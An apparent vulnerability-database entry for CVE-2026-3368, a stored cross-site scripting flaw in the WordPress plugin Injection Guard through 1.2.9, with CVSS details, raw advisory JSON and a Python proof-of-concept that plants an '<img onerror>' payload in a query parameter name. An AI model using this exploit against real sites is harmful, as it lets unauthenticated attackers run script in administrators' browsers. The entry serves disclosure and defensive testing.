Security Vulnerability Report
中文
CVE-2026-3368 CVSS 7.2 HIGH

CVE-2026-3368

Published: 2026-03-21 00:16:28
Last Modified: 2026-04-22 21:32:08

Description

The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML/JavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Injection Guard <= 1.2.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://example.com/" # The exploit relies on injecting a payload into the query parameter name. # The payload needs to be URL encoded because it becomes the parameter name. # Example: <script>alert(1)</script> -> %3Cscript%3Ealert(1)%3C/script%3E # The plugin uses parse_str() which decodes it, and then stores it in the database key. xss_payload = "<img src=x onerror=alert('CVE-2026-3368')>" url_encoded_payload = requests.utils.quote(xss_payload) # Construct the malicious URL # Format: http://example.com/?[PAYLOAD]=dummy_value exploit_url = f"{target_url}?{url_encoded_payload}=test" def send_exploit(): try: response = requests.get(exploit_url) if response.status_code == 200: print(f"[+] Payload sent successfully to: {exploit_url}") print("[*] Check the 'Injection Guard' log page in the WordPress admin panel to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3368", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:28.007", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML/JavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface."}, {"lang": "es", "value": "El plugin Injection Guard para WordPress es vulnerable a cross-site scripting almacenado a través de nombres de parámetros de consulta maliciosos en todas las versiones hasta la 1.2.9 inclusive. Esto se debe a una sanitización de entrada insuficiente en la función `sanitize_ig_data()` que solo sanitiza los valores de los arrays pero no las claves de los arrays, combinado con una falta de escape de salida en la plantilla `ig_settings.php` donde las claves de los parámetros almacenados se imprimen directamente en HTML. Cuando se realiza una solicitud al sitio, el plugin captura la cadena de consulta a través de `$_SERVER['QUERY_STRING']`, aplica `esc_url_raw()` (que preserva caracteres especiales codificados en URL como %22, %3E, %3C), luego lo pasa a `parse_str()` que decodifica la cadena de URL, lo que resulta en HTML/JavaScript decodificado en las claves de los arrays. Estas claves se almacenan a través de `update_option('ig_requests_log')` y luego se renderizan sin `esc_html()` o `esc_attr()` en la página de registro del administrador. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en la página de registro del administrador que se ejecutan cada vez que un administrador ve la interfaz de registro de Injection Guard."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/guard.php#L105", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/guard.php#L153", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/guard.php#L49", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/guard.php#L8", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/guard.php#L94", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/ig_settings.php#L120", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/ig_settings.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/tags/1.2.8/ig_settings.php#L124", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/trunk/guard.php#L105", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/trunk/guard.php#L153", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/trunk/guard.php#L49", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/trunk/guard.php#L8", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/injection-guard/trunk/guard.php#L94", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress. ... (truncated)